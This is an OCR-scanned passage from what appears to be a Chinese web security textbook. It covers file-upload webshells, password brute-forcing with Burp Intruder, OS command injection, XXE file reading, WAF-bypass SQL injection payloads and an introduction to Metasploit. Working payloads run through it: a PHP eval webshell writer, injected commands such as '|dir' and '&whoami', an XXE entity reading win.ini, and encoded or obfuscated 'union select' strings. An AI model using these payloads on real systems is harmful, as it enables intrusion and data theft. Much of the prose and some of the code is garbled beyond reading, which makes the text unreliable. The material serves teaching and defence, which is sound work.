i A shell.php, 10.phpHIARALEN T AR .

<?php

fputs(fopen('../shell.php', 'w'),'<?php @eval($_POST[a]) ?>');

?>

2410.php LAERIN/E, %P IGILENVE1E10.php, TSR AR S5 470 B3 F B a4E
fishell.php, X B Bt U] A I 8] 22 52 5 T WebShellf) £A%, nE4-116575 -

Params | Headers | Hex |

ORT’ /33.php HETRIL.1

P

Ho

08 q =411a/5.0 (Macintosh; Intel Mac 05 X 10.12; rvi53.0)
Go k /znloa:ol rs 9£0x/53.0
Ac

A

B

o iqe .s 081q00:Fianiy
opt-En: odx ng: gzip, deflat:
“type: multipart/fora-data;
992679677166877796101474390

1 htzp://i27<0.0<lljz.htn1
5T 771IK9

93
Ca5feaalb0ll647442c8547£86b09a17; user_name=adming
user 8b80404c8499£690346a3bb6E£Ia3cT

Connection: close

Opgrade-Insecure-Requests: 1

992679677166877796101474390
Content-Disposition: form-data; names"file’; filename=10.php"
Content-Type: image/jpeg

<?php  fpute(fopen('/shell.php', 'w'),'<?php Qeval($_POST(a]) ?>'); 7>

679677166877796101474390
Content-Disposition: form-data; names submit®

submit

992679677166877796101474390-~

E4-116 FIRARFFH_LEWebShell

4.8.12 ZHEFHERELINT

i HTTP/) 1 200 OK

o081 ba :/nz-x application/zht -x a1, application/xaliqe0.9,#/414%0.8
ccopt-Langu o3

Headers | Hex |

Thu an Hbv 2017 16:23:54 GNT
t

elo-o
text/htul; charset=0TF-8
L- ngt! fne 144

| Upload: 10.php<ir Wi @/jpeg<br />Size: O, 0789138 Knebs /snemp
| file: /Applicatio /unuv/:-p/,up/.-,ou uPOS<br />Stored in: upload/10.php

FE - IREL S48 _FILES["file"]["name" FFIARES U0 T BT7R, 6 Wiupload H % F 2
FEME RS, WRAFE, WEE EACH, EABCHR T A WebShellft, &
A M B WebShell B, &5 52 75 L0 (8] R AT 1, 20 SRFRATT 58 78 M Bk S48 T gl 0 170 1%
WebShell, HF4 &8I — NI WebShell, MTT5eT %SRRI .

<?php

if ($_FILES["file"]["error"] > @)
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{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. "“;
}
else
{

move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
/T, XEFA sleep() RELLEFIAIR 105
sleep("10");
[/ E BRSO R 2 WebShell, SR, MR
unlink("upload/" . $_FILES["file"]["name"]);
}
}

?>

4813 XHEEZBEREIN

XS BAEMIEE, R UIT XM AR,
o BEEHLZBERFRAMXEEERTEE,
o X RAERRISCFIATE® A, #irand(10, 99).date("YmdHis")." jpg".

4.9 RNE#

491 NABRIERFRE
B IR = B T RS SR R, BB T L RS T
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WREARERS, WHPA. Bl BIEME. 2OERTE-MEROTR, maf
B RIS ERS, A4 2 TR HIVE L /20000~9999, B TR T F IR

4.9.2 JNWEBRBIE

5 770 A e R H Bk Ayhttp://127.0.0.1 /bp.html

—fEENT, RETHEEEHEKS: admin, TFHEEAIHZ R f#admin )2
i, B PZLHAKSadmin, BEEFEFERA—/NE, FHBuwp Suitelfl,
FEInfrader %8 H# D AMREL, S AE LT MIFTTIGRE, B4-117F77R. FTLLE 3,
B — R A F Length B ER HAD A EA —#E, XANEHE B FIPayload Bt 2 1B 1 L Th
HERg, nEl4-118F7m.

Attack type: | Sniper

POST /bp. php BITP/1.1
Host: 127.0.0.1

User-Agent: Holell/S 0 (Macintosh; Intel Mac 05 X 10.12; rv:53. 0) c-cxo/zoloowx Firefox/53.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*

Accept-Language: zh-CH,zh;g=0.8,en-05;9=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Referer: http://127.0.0.1/bp.html

Cookie: csrftoken=2771Ik9gjTd9E4ZbngR21aPcypOBICa0; ysrc_token=0aS5feaalb011647442c8547£86b0%al7; user_name=adnin;
uger_pass=08b8ed04cB8499£690346a3bbéfflale?

Connection: close

Upgrade-Insecure-Requests: 1

username=adminspassword=SE23H56]

E4-117 Burp#dIntruderisish

Rasuyezstlomt |Staus [ Error | Timeout % Comment S |
a0 R O R 1) R B R Tt W P LT e e e T R
0 200 8] o 189

1 password 200 (@] o 189

2 123456 200 a o 189

3 12345678 200 (=) =] 189

l4 1234 200 a o 189

's qwerty 200 o O 189

6 12345 200 (=] (@] 189

7 dragon 200 a (@] 189

8 pussy 200 (] @] 189

9 baseball 200 a (=) 189

10 football 200 (=] a 189

11 letmein 200 @ (=] 189

12 monkey 200 (2] =] 189

200 A0 Q.

Headers | Hex

BTTP/1.1 200 OK

Date: Thu, 30 Nov 2017 16:37:32 GMT
Server: Apache

X-Powered-By: PBP/5.6.30
Content-Length: 13

Connection: close

Content-Type: text/html; charset=0TF-8

login sucoess

E4-118 RNWBHER
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493 FRNWRERERG DT

R 4% i Ab BE A P & AR W R BTR, 727 R ELPOST £ # username 12 £
password, SRJETEEEE R E AR 2B R BFE, WREE, WEFH
. BRXEEREXNEFMREMRE, MURERAFRF—EEREZR, SHaTLl#HT
IR

<?php
$con=mysqli_connect("localhost","root","123456","test");
/] RPER
if (mysqli_connect_errno())
{

echo "HERERM: " . mysqli_connect_error();
}
$username = $_POST['username'];
$password = $_POST[ 'password'];
$result = mysqli_query($con,"select * from users where
“username’ ='".addslashes($username)."' and “password ='".md5($password)."'");
$row = mysqli_fetch_array($result);
if ($row) {

exit("login success");
Yelse{

exit("login failed");

?>

494 BRNEBREEBEREIN

X B ABRRRRER, EFEHUTRARN.
o MRAFBFRYEEIRENRE, WIHEKS.
o IMRENMPERKHBIRENBRE, NBEP.

PEIPFEM— N HER: MRZMAFERKER AP, WaERIAMmA
BARER.
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L FAFE 7 B 7 I F — AT RSy A BRI S, anfEPHP A, i Flsystem. exec.
shell_exec. passthru. popen. proc_popenZ§ i F] LI#AT R i 4. HEEREFEHIX
LRHTPHSHE, R EENREGLSPEIEEGLH, NGRS

T8, XEE G IITIR .

4.10.2 SPITRBEEE

A A PAT B MRk http://127.0.0.1/1.php?ip=127.0.0.1.
TUTH 1.php#R AL T ping M Th A, U445 S HIPHI N 127.0.0.1 1, F2F & 4T ping
127.0.0.1, 25 ¥pingfI 45 KRR FB| T £, wE4-119FT7R.

GET /1.php?ip=127.0.0.1 HTTP/1.1

Host:127.0.01

User-Agent: Mozilla/5.0 (\Windows NT 10.0; \WO\W64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtmi+xml application/«ml;q=0.9,*/*q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-T\V;q=0.7 zh-HK:q=0.5,en-US:q=0.3en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-insecure-Requests: 1

E4-119 #fTping 127.0.0.1

4
r

HTTP/1.1 200 OK

Date: Thu, 08 Mar 2018 07:19:25 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod _fegid/2.3.9
X-Powered-By: PHP/7.0.12

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 341

IE® Ping 127.0.0.1 R 32 FHAIE:
8 127.0.0.1 HER: FH=32 @@ <Ims TTL=64
F#E127.00.1 BEE: F75=32 Hill<ims TTL=64

127.0.0.1 83 Ping FiHES:
MRt BRX =2, Bt =2, F5=00%EH,

| EETESEHEURS B0

32 = Oms, i = Oms, Fi§ = Oms
32 = Oms, B = Oms, F§ = Oms

MR SHIPRE #127.0.0.1 | dir, RFEFXRVIE, NREIZRATUER, 72
FEEW B FEMRERTEET, XEHRAETEER 7 L REPIT T drddir,

W E4-120F1 7 o
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GET /1.php2ip=127.0.0.1|dir HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Aindows NT 10.0; WO'W64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html application/xhtml+xmi,application/xml;q=0.9,</*q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-T\W:q=0.7 zh-HK;q=0.5,en-US;q=03,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

>

HTTP/1.1 200 OK

Date: Thu, 08 Mar 2018 07:25:55 GMT

Server: Apache/24.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/7.0.12

Connection: close

Content-Type: text/htmi; charset=UTF-8

Content-Length: 623

WEENTE D HAYRE Program
EHEFISR 24AB-F64D

3 D:\phpStudy\PHPTutoriaN\WWW IS5

2018/03/08 11:09 <DIR>
2018/03/08 11:09 <DIR>

2018/03/08 11:25 335 1.html
| 2018/03/08 15:17 53 1.php
2018/03/08 08:52 23 2.php

E4-120 #iTping 127.0.0.1 | dir
THRER T HAEER.
Windows Z 51| 3 35 F B E FF 0 R B
o 47 HEPITRHMIER. #Hla: ping 127.0.0.1)whoami.
o 7 WIRATEHHATEAPAT HEE, NPITEEMIESR, AIEAIEaR
AeNfR. %l ping2 |

o “&7:UNSRETH K TE A YR N BT S5 T A01E A, BT AE A AT B AR
fltn: ping 127.0.0.1&whoami.

o “&&”7 : WMRAMHEMBEAAMENEZBYE, WARITEERIER, I
BARRAENE. Fltn: ping 127.0.0.1&&whoami.

Linux R 5 X R EE R U0 TR

“ PATTERTE B BEHRATEEM . #la0: ping 127.0.0.1;whoami.

“7: BREIIEFMPATER. Fla: ping 127.0.0.1jwhoami.

“U17: AT RER AT AR, PATETREA . Bl: ping 1)|whoami.

“&”: UNRATHE KIE ) BN BT EIMER, ATHKIEa A B R, 5

Ul: ping 127.0.0.1&whoami.

“&&”: WIRATHHKIEA MRV ERE B, BARITEE, RiHiEa R 6
NE. Fln: ping 127.0.0.1&&whoami.

whoami.
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4.10.3 s MITIRIEREL AT

k%5 s kb Eping MRS a1 R AR, FEFIRELGETSHUP, SRJ5HHE Elsystem() &
b, FHsystem() B ATping I ThRE, (HRMANRSE NS HIPHGTEFMEN, S
HAT R AEEFPAT R RG4S, KRB TFAR.
<?php

echo system("ping -n 2 " . $_GET['ip']);
?>

4.10.4 wLRITRIBIEERZIL

X S PATIRAKNER, EFELEHUTRX/LAR.

°  REAEMMGSIITERE.

o BRI HAR BRI APAT & B AT E A SRR .
o FEEMZNERBCZAT, WIREAMREREENRHZ—.

e XPHPIE SR, ARETEEIEHMEK: BT A EMEH .

411 EBERREEZHE

4111 NBBERE

AR IR A 1 B AL 55 BT R AG,  SREUBURE B EBIR L &5 ()
o —BHMIMAFGEE. BT, FRE. ZHXFEMEREL. L
AL 1) XA KA 36 BRI, R R .

o KPR MRZA BER) KA RER—-AEHARKAHFZE, 7
CLBARL VT ] B s MR At A {5 B AR R AR . ISR BRI,
ARESIERAMERREAME, ™ENRELERAFEREERENR.

o EHBA: BURAFRZAZ IR EA R A G 6P, i
3 AT DAPRAT B SR A BEBRAT I TR

WHRSR BRIV BT BT R E £ BB TR P MR R EH ERRS
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HIEE R
L]

M E SR AER B RN AR RANZETR, HFRETHEHES

FRE R I, AEZRMAISEX SRR, BEEZHEEHEIRFNE N
ANEA: WS HREMHTTP/HTTPSIE RE L.

G2

HZ IR A LR L.
SATAT B FESTATIT R, "] UESIMOMER &8 B0 7T L S0E %
BHAR R N, FEE S BEK.
AT ) JEE ARV A S BB RAMATKS
HETW. EFEEFMN, FESHMIEEFR, iR HsessionFE i EE
#Y RS RAERS B R B R BE e & .
SR ERFMELTZMIE R, LT A 83X LR
o B R sm 2R, GlanH - ARRS9107T, H&aBRIY
FN6TT, FaCHIME ASTT, TR A% K BRI fhC, FBRHR
HERNEH . BRI AR A TS KM, 2 LR RN RIE M L
B fCHIER, ATRES LA T LA SR .
o AR IEERK.

7R A AR SRR, (HR RN T 67T,
o TAAEWSERD, ERKEEM T -17T,

4.11.2 HAGHEIE

kA U 1) B iR . http://172.16.200.12/yuequan/test2/admin/viewpassword.

php?id=1.

viewpassword.php I SEILMITIRE R, YA P ERRSE, BT ZAHER
HOMEN, ZURLFFE—NSHGd=1, J{EIESELdSC22 G, WEBid
FRETR P EE R, SR INE4- 1218 E4-12257R .
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<html> €9

she =</ heads

Your Login name:admin
<br>
<br>

Your Passward:
<input name=" Qasswcrd values"admin" Bype="password">
=</body>
</himl> g

<htm\> o

1eadse/heat>
- <body>
Your Login name:sunsky
<br>
<br>
Your Password: W
<input name="passwor sunskill  ype="password">
</body> ]
</html>

E4-122 ipElid=2HAFHES

411.3 ZEBEFE. #SPOHERIESHT
25 33 kb FE R P BRI AN A B OARRD AN T, R B0 B R 0 F .

<html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>P AER</title>
</head>
<body>
<?php
$con=mysqli_connect("localhost","root","123456", "test");
if (mysqgli_connect_errno())
{
echo "HEREKM: " . mysqli_connect_error();
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}
if (isset($_GET['username'])) {
$result = mysqli_query($con,"select * from users where

“username’='".addslashes($_GET[ 'username']).""'");
$row = mysqli_fetch_array($result,MYSQLI_ASSOC);
exit(
" F:i<input type="text" name="username" value="'.$row['username'].'" >
<br />".
"% fi%:<input type="password" value="'.$row['password'].'" > <br />"'.

"I 4F:<input type="text" value="'.$row['email'].'" > <br />'.
"#h Hb:<input type="text" value="'.$row['address'].'" > <br />'
)
}else{
$username = $_POST[ 'username'];
$password = $_POST[ 'password'];
$result = mysqli_query($con,“select * from users where
“username’='".addslashes($username)."' and “password’ = '".md5($password)."'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("BFMIN" . "<a href="login.php?username=".%username."’' >N AR
</a>");
}else{
exit("ERRM");
}
}

?>
</body>
</html>

o TEelsei®A) FIRELPOSTHI S $username A1 S Hipassword, SR /5 BIHHE 25
W, GRIER, NE T, 285 BkE 2llogin.php?username=$username At
GfiFA]D .
o ifiEA)FREFRINE AR, KREGETHI S $username, 2R J5 B H¥E 2
B S Husername T A E R, FRER T L.
HEAMAKAEZERZ, WREEV Wlogin.php?username=admin, A4 ¥ B #
PATIOE A RIS, TR I ATelselBa) F RIS, Bl A FESEFHATUE
Fadminf)5 8, BEXF s, #her DU R HAbH P RIE R
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4114 BAUFEHEE RN

FEAS U 1] YR ¥R 72 AR 1) 32 B IR B X P I B A I AN s, B 4P X F
TR, BT LU session>RA= il o 1 40 7E F 7 BRI 5 , KrusernameEiuid 5 A\ Fsession
F, ZHAPEENANELER, MsessionH B Husername, A& MGETEPOSTHL
username, AR A B E] fusername & % B #E L U .

4.12 XXE JmilE

4.12.1 N8 XXE iFwiAE

XMLAMFSEAREAN (XML External Entity) f#FXXE#RH, XMLAH THricHE T
XHEHEREMENARICES, TR CEE. & LEHRREE, B—Mawr
3t B S RFRicE 53T e XEIE S . XML EREXMLEBH . DTDXXHY
PRI (Alik). XM TE.

L EIXMLEVE R N E4-123 AT 7R

<?xml version="1.0"?> yM| jtiflf]
<IDOCTYPE note [

<IELEMENT note (to,from,heading,body)>
<|ELEMENT to (#PCDATA)>
<IELEMENT from (#PCDATA)>
<IELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

1>

<note>

<to>Tove</to>
<from>Jani</from>

KR E X (DTD)

<heading>Reminder</heading> XRE#

<body>Don‘t forget me this weekend</body>
</note>

E4-123 XMLEELEH
Hop, SOREALE X (DTD) 7] LU N #87 B ) LA 5| I AMBDTD, 407k B o
o HEAEBADTIDERN: <!DOCTYPE MRILE [JLHRSH>.

ASCHE AR i b P e B g % 1A
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o SIF4MEDTD&R: <IDOCTYPE #R7t&E SYSTEM "X 4",

FEDTD AT 2k B, B8 FHENTITY o4 sk 8 . seik 2T X B H
Yl AR F AR E T N & . ST 7E A kAN EAT A B

o NERFEBASLAAE: <IENTITY SEARZHR "SEARRIE">.

o BIFSMEAKNR: <IENTITY SZ/A4ZHK SYSTEM "URI">.

4.12.2 XXE REXTH

XXE YRR MRt http://127.0.0.1/1.php.

HTTPiERHIPOSTSE U F 7~ o

<?xml version="1.0"?>
<!DOCTYPE a [

<!ENTITY b SYSTEM "file///c:/windows/win.ini" >

1>

<xml>
<xxe>&b;</xxe>
</xml>

TEPOSTSHh, RBIEH) N “file///C:/windows/win.ini”, 1%iEH) FIVE &1 file
PGSR BN AS M S H-C/windows/win.ini, 0 &4-124 77~

[POST /1. php HTTP/11
|Host: 127.0.01

Accept: /h i /xhtmi+xm], ion/xmi;q=0.9.%/*q=08
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK:g=0.5,en-US;q=03,en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: ication/x form-url d

Content-Length: 128

<?xml version="1.0"?>
<IDOCTYPE a [
<IENTITY b SYSTEM *files///c:/windows/win.inf >
>
<xmi>
<xxe>&b;< /x>
| </xml>

E4-124 EEUCH

4.12.3 XXE imiERIE ST

|User-Agent: Mozilla/5.0 (Windows NT 10.0; \WOW64; rv:58.0) Gecko/20100101 Firefox/58.0

A
P

HTTP/1.1 200 OK

Date: Thu, 08 Mar 2018 12:50:42 GMT

Server: Apache/24.23 (Win32) OpenSSL/1.0.2j mod_fegid/2.3.9
X-Powered-By: PHP/5.4.45

Connection: close

Content-Type: text/htm!

Content-Length: 87

: for 16-bit app support
{fontz]

fextensions]

{mci extensions]

[fites]

[Mait]

MAPI=1

55 i AL XML ARSI T, S L B F2 0 T Fiom o

AR P e s it 2 2] AT
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<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML ($xmlfile);
$xml = simplexml_import_dom($dom);
$xxe = $xml->xxe;

$str = "$xxe \n";
echo $str;
?>

o ffiffile get contentsFRENE ik A TN 2

e {8 Finew DOMDocument()#¥] a8 L XMLEHT 5% o

o fifi FiloadXML($xmlfile) IN# % F Ik A FIXML A 2 .

e {# F simplexml_import_dom($dom) %k BX XML L4 5 &, 40 5 A% Th U 3R (]
SimpleXMLElementX} %, 15 &M /iR [FIFALSE.

o FREXSimpleXMLElementX R H {11 SIXXE, AfEHIHXXERHE .
AUAEER, RS REIXMLE| NN Se R, ATCL SBATEIE — M & M
SEAREIXMLE, AMESER I A A HaT .

4.12.4 XXE RiEBEEIL

HXXXERAEE, EHESHUTRARR.
o B LfFFAMISLAR, fFlinlibxml_disable_entity loader(true).
o IEHFRZHIXMLESE, BFIEHIRAEENS.

413 WAF B3R =

4131 8 WAF

A EENHAWAF (Web Application Firewall, Web FH B ki) K5 HAHRH
R, X BRI E R AR — R Web S B KRS 2B T AT — R B EH X
HTTP/HTTPS % 4 SRS K% 71y Web R F SR BE OR3P 9 — 5K it o

WAFZEA EATEL AT LK.

! I A v FH i A 3t 27 2T A6
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1. IMEFE WAF

PABRA T B AE AR I AR 5528 LIWAF, BT RBEEMRESSE L, Friler bl
fu B R 55 45 LRI, EEAGI RS 8% LR B AFFEWebShell. 2 5H XA ES%.

2. BRI WAF

DI BT, YRS MHNEFX, JEBI PR IR
BE, 785K RERE g R E AT 8.
3. = WAF
— & UL AR R R AR, B Al BNSIE B CNAMEC 3, {83 W55 115 5K
RXMEZTIWAFENL, EIWAFENIIERE, BIANLTERERR CHRIZSSE
B R 3 AR 45 S 3EATIE R, AT BLi 2 B Dh B FICDN.
4. MISARZAREL WAF
Mk RAE N B FIWAF T L2 M KA+ A B RS iE, BEEERERES,
AEXTRGE HER, —8&E X LME .
o HIANSHEEH|RAEY (intvald)
o HIASEAVEMERAN .
o RBRBIIT (SQLHIT. AHEER. MAHITE) 7, XL EREHE
IR AT R -
o XTI RIEHE ST & Wt v S AR S HATRIDIRAE (B /B PSR 2 14
).

M RGN B RWAF S SN G, EXZe5FHMILR T HIERT,
A] LA Dl 2R R SRR

4.13.2 WAF Hif
AN LB GRHI L R A LEWAF ) LR 7

, AT L i 2% S
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1. SQLMap

18 FH SQLMapH H 7 [FTWAF R Bl AR E AT LLR B tH WAF IR 28, (B2 R pr & F i
EIWAF I B 25FE, SQLMapit R a8 iR 71 H 257 & Generic.

TR BB, ESQLMapH I AL iv<, 4R UNE4-125F 78

sqlmap.py -u "http://xxx.com" --identify-waf --batch

E4-125 {EASQLMapiRAIWAF

A] LA B1E H WAF ) 28 81 XXX Web Application Firewall,

BEAE T MEVEL IR BRI T LLES F SQLMapHIWAF H 3 T FUM LA, AT LU
MR A% B EAINHET FIWAF R BIFEN, 5 R0 SO 5 BB B WAF B 3% TR,

2. FTHr

XN b AR 18T B, ELEEAE AR B b AU URL G TN b S B At A iE ), Eeiiunion
select 1,2,3%23, FHHBIE—NMAFEMNSE L F, A6 EEHFESH a0, WE
4-126FT7~, flk T WAFRIBEY, B LA b 17 7EWAF .

AU AR b i BRAE AL A ST
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D 127.0.0.1/1.php?aaa=1 union select 1,2,3%23

B

ZMRFEIEFRIELF

AAEHRIEIE.

127.0.0.1
ERR_EMPT

E4-126 WAFEH TIEEIEK

EX B T — MAEER S, FrASERRIF A 20 W ik RS RIHAT R E
FRAETREN, Ui = AU Bt B A7 (EWAF

WERBOEIN T BEREONRIEAE): TELER . WEARR.
3R [ 5 TF 3 17 R I T A 7R R 4 S %
4.13.3 —L¥ WAF 4%3d /3%

AT EENFASQLIFENRIFAM G ik, EARFEPIWAFSE FiEERE -
RENLZM.
1. KINEBRS

FER ILEC IS REExd 745 K5 8 €N E ME, LR UEgREX
WNERTTRHETSE (LA EHRRERLL, W FFR.

uNion sElEct 1,2,3,4,5

2. URL %8
o RDERIFHKIWAF AN 38 F A7 BEATURLAFRS, 0 ffras.

union select 1,2,3,4,5

sy ge g LR LRy NI vaN I Fia

SO AR b P R B AE AL 4 I
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%75%6E%E9%6F%OE%20%73%65%6C%65%63%74%20%31%2C%32%2C%33%2C%34%2C%35
o EH B R URL RS, WAF—R R BT —@eg, ik B Ax
Web R F AR 34T 7 HUSMTURLAER, BRI BEATSeE
union select 1,2,3,4,5
b i R R ARG AN T B s B2 o

%2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%2520%2531%252C%2532%
252C%2533%252C%2534%252C%2535

3. BipxEs

WAF R F & #e B M B select/unioniX JEBURK S 8 18] A%, 40 R A DLHEE— AR
B H#TSRE .

union select 1,2,3,4,5

bR SR I AR .

unuionion selselectect 1,2,3,4,5

4. FREIEE

EREENSQLIENTHALRS, ST WAFRN EEFHEERT® (HEE
WE*), EA TSRS R RS fis T ERIIWAF.

Union select 1,2,3,4,5

bR RO T AR L.

union/*2333*/select/*aaaa*/1,2,3,4,5

AR LA AT 25 e A 43 ) A B R 2 SR WAF A

5. 2SHBEKRFED
ST ZASHHHEDRE— % SQLIEA F BN, 7 LLEENEA S EHEA.
B 4aniE SRURLE, GETSHU NI Fig R

a=[inputl]&b=[input2]

K GETH S aMSH b Pt RISQLIEAF, SQLIERII TR

and a=[inputl] and b=[input2]

ASCAHE AR i Ml P e i S it 2 S AT
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X AT LLRHE N AT IR 7, IR

a=union/*&b=*/select 1,2,3,4

REKSH NS HOHHE, [FEIRISQLIERW T AR,

and a=union /*and b=*/select 1,2,3,4

6. HTTP S¥5%

HTTPS 5 LRI YR —SH B E IR, AR FEESETAARRSER,
BiAwngR4-1F78 (BF LhZHcolor=red&color=blue_ A1) .

F4-1 HTTPEHITH

BR B =E i TSR 245135 FR
ASP.NET /IS PR IS EUEFE SR color=red,blue
ASP/1IS B MBS EUE FE 58 color=red,blue
PHP / Apache e — IR IS B color=blue
PHP / Zeus WERJE— KRS HE color=blue
JSP, Servlet / Apache Tomcat NE—IREISEE color=red
JSP, Servlet / Oracle Application Server 10g | (XE—KHISHUE color=red
ISP, Servlet / Jetty NE—REISHE color=red
IBM Lotus Domino N&E— RIS HE color=blue
IBM HTTP Server NE— KBNS HE color=red
mod_perl, libapreq2 / Apache BB — RIS EUE color=red
Perl CGI/ Apache RE-RHISHE color=red
mod_wsgi (Python) / Apache NE-REMSEE color=red

Python / Zope

AL M List

color=["red','blue']

£ LRREI A LT, USHLEAZFIA, 7TLLE#E)EIHE 5 KSQLIEH] .
FERHRPFELF, WRWAFAGN T RASHLFHE—AB&EE—, HFEFME
PRI IV S WAFM R 024, WA szhgeid. Fi IS ), —MEISQLIEA

EA T PN

Inject=union select 1,2,3,4

R SQLIEANTE A HE # UL T 2K

Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4

RAENSHEANNSHER I T FR.

ASCPEAE i b P e A 3T 27 2 A
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Inject=union/*,*/select/*,*/1,2,3,4

7. ERERH

158 P 25 AR R 50 A DI BR8N P8 P poly gon () BR B8 2 R Y
updatexml()BE %L, W Fim.

SELECT polygon((select*from(select*from(select@@version)f)x));

8. FHMubIRIG IP

St F BH = WAFBT I S T 5, R 2R3 W ol 1Pk, 2R f5 I8 1Py A Pk
HA] LAGeE = WAF RIS o

L

) FER MBS PRI T VER T X LA

SR 5 1 J7 S ARATIE R

ZAARFX HpingM i, TEEIPEITHIZE R
P R4 . NS MXAERZ% M TP .
VT [ P sl i A, 2 R4 3 7 FAIP

9. FEFAZSHZ cookies P

R G E RS B S REQUEST3KHUZ %4, 1M$ REQUEST & K X M
GET/POST/cookieF 3KEL S %1, R WAF Rl 7 GET/POSTIM % & f Ml cookie, HJ
PLGE N IEA] TR cookieFP i 4T &8t .
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% 5 Metasploit FA

Metasploit &7}

Metasploit;& % {5 B 22 5B ENATRRMTHIAE, EX&ETCEN
BEMR TR TR AT FIERE RS E X FFMetasploit, T H MetasploitHE L 7EIX
25 ) TAERBEREAE —E . AREF ARG DKalidRlE R G AERM, ZBIERS
Tiid% Metasploit % 7E H FiZ T2 =77 TR . Kali R4t H T #th ik Ahttp:/www.kali.

org/downloads/.

MetasploitfE42 (Metasploit Framework, MSF) 22— MR E, BEHHEBE
Wik, B2 HRubyRFIESRE NERIESRE, BEREFNT B, 2SN
NRFFR A5 € il 3 TR .

Metasploit 7] [a] J5 S AR S it 2 F A SR il M A8 O (nd% i & . Webs CLD.
HFEMEHERE®ED, @k &80, /RA] LAY7 i F1§ FH i Metasploit ) #F,
B inPayload. F F#EER . PostiiE % . Metasploitid 5 = HFEF R, B 41Nmap.
SQLMap%%, FILLEEEEHGEOEMAH, BEUnxfm, FEE®SIT FTHRA
msfconsole, MSFH] /g zh 5 @ B 5-1 57w .
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MMMMN MMMMM
MMMMMMMN > NHMMMMMH
MMMHMMMMMNmmmNMMMHNHMMN
HMMMMMMHMMMNMMMMMMEMMMHN
MMMMMMMMMHHMMHMMMHMNMNY
MMMMM  MMMMMMM  MMMHM
MMMMM  MMMMMMM  MMMMM
MMMNM  MMMMMMH  MMMHM
WHHMM  MMMMHMMM  MMHM#
?HHNM HMMMH
" 7MHN MMMN®
MM HM?

http://metasploit.com

ng credentials? Check out bruteforcing
- learn more on http://rapid7.com/metasploit

‘ i ]
- 919 auxiliary - 279 post ]
39 encoders - 9 nops 1

El5-1 MSFRBEhA®E
FRIR A AEAE P Kaliffe /E 22 G0 i Ry 72 A I BRI IR, 30451 i 32 K% i 58 3 LA pp
—/MEH. FHrdr 4 Hapt-get update. apt-get upgradefllapt-get dist-upgrade.
®  apt-get update: 2 HHT AL R 51U, (EH 2 RPENREEMRSIER,
AN HEAT A B3
* apt-get upgrade: FH ARG b LFEMTHRMFR, HFEHRW, FrELHa
SRFFE AR
*  apt-get dist-upgrade: 2% Linux &%, U1 MKali Linux 1.0.1F+2% #|Kali
Linux 1.0.2 (AMUBER T+ R A © 2R, 1 H S0 AR
BELH LA AR . HELEN T, ERSAARIERTEATISSE) .
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5.2

5.2.1

Metasploit E 4]

A ARE
MSFHEZE 1 5 MESALR, & AMESR R EBLARRITh T

1. Auxiliaries ( FEN#ERR )

AR A2 HEEENRE A B bR ENLZ B R, EfIRARPUTARM. &’
. BEURAISEAEIC TR LA B2 E WA .
2. Exploit (AN BELR)

RIAFI AR HBEENREFH - RS MAHBRE RS 02 2REETH
WiAT N TATHREERERACEZM XL . WebNMHREFES, ULFHEE
RS, Hoh Yo sl A R G KRR M s B S FPOCIRIEREFF »
TR G LRSS, BT A A R A B A .

3. Payload (W EHE&ER)

Wil A 2 BAVAE B AR RGBS BHE 2 J5 58S PR ThRE R AR, B
gER G, ATERRRG LIBITERE G QB PATREUS, 7EMetasploittE
AT DA E e £ AR o BCely B th T RE A TR S AE B ARIRAE R4 LR
T—Har<, WA K S5,

4. Post ([OHIBEELR)
ZHEREERHTERS B RS aEEHBE, #17— RN EBELRESE,

WFREURURAS B, SCiEBR M 4% .

5. Encoders (‘RIBTE&ER)

PIRBRAEZEN A 5T, UABT ISR By ksl IDS KB4
ERAFASIN H R
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522 BEBELHITE

fEFAMSEZZEN RN, W LALEE 8 LA Bk, Xf B AR R GREAT I8 3 R 3h 2
i, KBS BRI TR

o FMBEILASZ, IR,

o EBIFECE —MNRTRA .

o EFIFACE — MBS

o HEENIEEOR, ARG RFHRMNESR.

o BENE.

“HWBARKRR BRERIFNFITE BAICEKE T T MSFEELLHE
AFIIR, NEEEAT— KR R AE B RE .

5.3 A

HAERGE R REENATE P, HEEARLRTRZMEIEGXKHE
LSRR . RIEEEZE, BENBRIER. 2P RN EERE AL iR
PLESIPHsE . ATRIARSS < JF 780 155

53.1 {EAMBNERE TR D13

i BB R Metasploit ) P BARER, 15 5 F] i searchiy 418 2 5 W L& AT FH o I B Bk,
N 5-2F7 7R

E5-2 EERixOKIR
MESs-2H T LB 2R s 5138, Hh s 7 &Mk, THLTCP
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P WebZ Azl HiEnk k%I d

BRG]

